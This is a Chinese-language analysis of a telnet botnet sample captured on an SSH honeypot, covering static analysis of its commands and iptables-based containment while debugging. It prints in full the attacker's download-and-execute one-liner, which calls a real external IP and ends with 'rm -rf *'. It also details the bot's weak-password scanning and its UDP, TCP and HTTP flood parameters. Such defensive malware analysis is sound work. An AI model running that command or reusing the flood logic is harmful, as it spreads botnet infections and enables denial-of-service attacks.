0x00 背景

在ssh蜜罐上捕获到恶意样本,执行的命令如下:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://212.47.239.249/justyzoat.sh; chmod 777 justyzoat.sh; sh justyzoat.sh; tftp 212.47.239.249 -c get tutftp1.sh; chmod 777 tutftp1.sh; sh tutftp1.sh; tftp -r tutftp2.sh -g 212.47.239.249; chmod 777 tutftp2.sh; sh tutftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 212.47.239.249 tuftp1.sh tuftp1.sh; sh tuftp1.sh; rm -rf justyzoat.sh tutftp1.sh tutftp2.sh tuftp1.sh; rm -rf *

后续分析过程中只能下载该ip的justyzoat.sh:

从ip下载不同架构上的二进制恶意样本,实现的功能都是telnet botnet的被控端,等待接收主控端ip的指令并执行。虽然该ip地址现已无法连接,并且主控端的ip被硬编码在二进制文件中,但是在psbdmp.ws上发现了疑似攻击者用来扫描ssh弱口令并执行命令的脚本,所以只要攻击者还会有所行动,ssh蜜罐还是可以捕获到的。

这个wget样本是ELF32文件,接下来会对该样本进行静态分析,并使用iptables对其控制调试。在分析完该样本后,我更愿意把它叫做gucci样本。

0x01 静态分析功能

样本是静态链接,又没strip,所以IDA反汇编看起来很轻松。

接收指令部分

  1. 每5秒调用initConnection函数,去主动连接主控端ip 212.47.239.249的23端口:

  2. recvLine函数接收指令后,指令需要满足”!XXX cmd arg1 arg2 arg3 …“的格式才能传递给processCmd函数执行对应功能。
  3. 在判断cmd时稍微混淆了一下,本质还是cmp后进入对应逻辑:

HTP指令

  1. HTP指令可接收2个参数,参数2(默认值为500)只要大于0就会调用htp(100,arg1)函数,来扫描公网ip 23端口的弱口令,并report给主控端。
  2. htp函数的100用来设置扫描过程中timeout的微秒值,函数内部会调用getdtablesize函数和arg1比较,取较大值作为扫描的并发数。

  3. 扫描过程中每个文件描述符所用的结构体如下:

  4. 在爆破弱口令过程中,判断是否符合条件的字符串表如下:

    htp函数中先是并发去连接公网ip的23端口,然后接收消息查看是否包含advances中的字符串,接着爆破弱口令,传递完账号密码后先判断是否有advances2字符串,然后判断是否有fails字符串,最后再判断是否有successes字符串。所以响应中有”#”时才会被认定为爆破成功。

  5. 爆破成功后默认会发送”REPORT ip:username:password“至主控端sock。最后会发送相同的命令使主机执行justyzoat.sh。

UDP指令

  1. UDP指令可接收6个参数,可对指定ip进行UDP flood。
  2. 参数1为要攻击的ip地址,可为多个ip地址使用”,“分割。
  3. 参数2为要攻击的端口,如果为0则随机生成目的端口。
  4. 参数3为攻击持续的时间。
  5. 参数4决定是否伪造源ip地址,不可大于32,如果为32则不伪造源ip地址,否则会被传递给getRandomIP函数。
  6. 参数5为udp数据包中data的长度,不可大于65500,会被传递给makeRandomStr函数生成随机字符串。
  7. 参数6为每一次攻击sendto数据包的次数。

TCP指令

  1. TCP指令可接收7个参数,可对指定ip进行TCP flood。
  2. 参数1,2,3的功能和UDP指令相同,参数4也不可大于32,但是默认会伪造源ip地址。
  3. 参数5指定TCP数据包的标志位,有”all,syn,rst,fin,ack,psh,urg“这7种,可以使用”,“组合。
  4. 参数6,7则与UDP指令的参数5,6功能相同。

HTTP指令

  1. HTTP指令需要接收6个参数,可对指定的host进行HTTP flood。
  2. 参数1指定HTTP method,参数2指定host,参数3指定port,参数4指定URL,参数5指定攻击持续的时间,参数6指定fork并发的数量。

STD指令

  1. STD指令需要接收3个参数,可发送带有69字节data的UDP数据包。
  2. 参数1为要发送的hostname,多个可以用”,“分割,参数2指定网络字节序的port,参数3指定持续发包的时间。

DIE指令

  1. DIE指令是直接退出,结束被控端。

0x02 动态调试时使用iptables

在主动连接过程中,因为是直接tcp连接硬编码的主控端ip地址,所以使用iptables做一下DNAT,也方便在本地控制调试被控端:

sudo iptables -t nat -A OUTPUT -d 212.47.239.249 -j DNAT --to-destination 127.0.0.1

在调试HTP指令时,为了不让我们的主机去扫描公网的23端口,还是借用iptables再做一次DNAT:

sudo iptables -t nat -A OUTPUT -p tcp --dport 23 -j DNAT --to-destination 127.0.0.2

所以在127.0.0.2我们可以监听端口,伪造一个可以登录的服务,可以记录到被控端向主控端上报爆破成功信息:

但是其并发数一次性太高,索性gdb attach子进程,在getRandomPublicIP函数处下断点,并且patch原程序增大timeout等待时间(iptables处理耗时),这样也好查看流量,最终在伪造的23端口服务端可以看到其接受的消息:

0x03 其他

  1. 在HTTP flood中host的设定是没有加上端口的,在某些情况下会有点问题。
  2. 可以使用nc连接主控端的23端口,实现一个简单的下发指令监控。